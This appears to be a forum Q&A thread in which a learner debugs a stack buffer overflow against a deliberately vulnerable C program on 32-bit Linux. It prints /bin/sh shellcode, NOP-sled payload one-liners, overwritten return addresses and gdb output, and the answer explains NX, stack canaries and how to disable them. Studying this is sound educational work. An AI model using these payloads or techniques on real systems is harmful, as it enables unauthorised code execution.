Why is my stack buffer overflow exploit not working?

Question

So I have a really simple stackoverflow:

#include <stdio.h>

int main(int argc, char *argv[]) {

    char buf[256];
    memcpy(buf, argv[1],strlen(argv[1]));
    printf(buf);

}

I'm trying to overflow with this code:

$(python -c "print '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80' + 'A'*237 + 'c8f4ffbf'.decode('hex')")

When I overflow the stack, I successfully overwrite EIP with my wanted address but then nothing happens. It doesn't execute my shellcode.

Does anyone see the problem? Note: My python may be wrong.

---

UPDATE

What I don't understand is why my code is not executing. For instance if I point eip to nops, the nops never get executed. Like so,

$(python -c "print '\x90'*50 + 'A'*210 + '\xc8\xf4\xff\xbf'")

---

UPDATE

Could someone be kind enough to exploit this overflow yourself on linux x86 and post the results?

---

UPDATE

Nevermind ya'll, I got it working. Thanks for all your help.

---

UPDATE

Well, I thought I did. I did get a shell, but now I'm trying again and I'm having problems.

All Im doing is overflowing the stack at the beginning and pointing my shellcode there.

Like so,

r $(python -c 'print "A"*260 + "\xcc\xf5\xff\xbf"')

This should point to the A's. Now what I dont understand is why my address at the end gets changed in gdb.

This is what gdb gives me,

Program received signal SIGTRAP, Trace/breakpoint trap.
0xbffff5cd in ?? ()

The \xcc gets changed to \xcd. Could this have something to do with the error I get with gdb?

When I fill that address with "B"'s for instance it resolves fine with \x42\x42\x42\x42. So what gives?

Any help would be appreciated.

Also, I'm compiling with the following options:

gcc -fno-stack-protector -z execstack -mpreferred-stack-boundary=2 -o so so.c

It's really odd because any other address works except the one I need.

---

UPDATE

I can successfully spawn a shell with the following in gdb,

$(python -c "print '\x90'*37 +'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80' + 'A'*200 + '\xc8\xf4\xff\xbf'")

But I don't understand why this works sometimes and doesn't work other times. Sometimes my overwritten eip is changed by gdb. Does anyone know what I am missing? Also, I can only spwan a shell in gdb and not in the normal process. And on top of that, I can only seem to start a shell once in gdb and then gdb stops working.

For instance, now when I run the following I get this in gdb...

Starting program: /root/so $(python -c 'print "A"*260 + "\xc8\xf4\xff\xbf"')

Program received signal SIGSEGV, Segmentation fault.
0xbffff5cc in ?? ()

This seems to be caused by execstack be turned on.

---

UPDATE

Yeah, for some reason I'm getting different results but the exploit is working now. So thank you everyone for your help. If anyone can explain the results I received above, I'm all ears. Thanks.

Answer 1

There are several protections, for the attack straight from the compiler. For example your stack may not be executable.

readelf -l <filename>

if your output contains something like this:

GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x4

this means that you can only read and write on the stack ( so you should "return to libc" to spawn your shell).

Also there could be a canary protection, meaning there is a part of the memory between your variables and the instruction pointer that contains a phrase that is checked for integrity and if it is overwritten by your string the program will exit.

if your are trying this on your own program consider removing some of the protections with gcc commands:

gcc -z execstack

Also a note on your assembly, you usually include nops before your shell code, so you don't have to target the exact address that your shell code is starting.

$(python -c "print '\x90'*37 +'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80' + 'A'*200 + '\xc8\xf4\xff\xbf'")

Note that in the address that should be placed inside the instruction pointer you can modify the last hex digits to point somewhere inside your nops and not necessarily at the beginning of your buffer.

Of course gdb should become your best friend if you are trying something like that.

Hope this helps.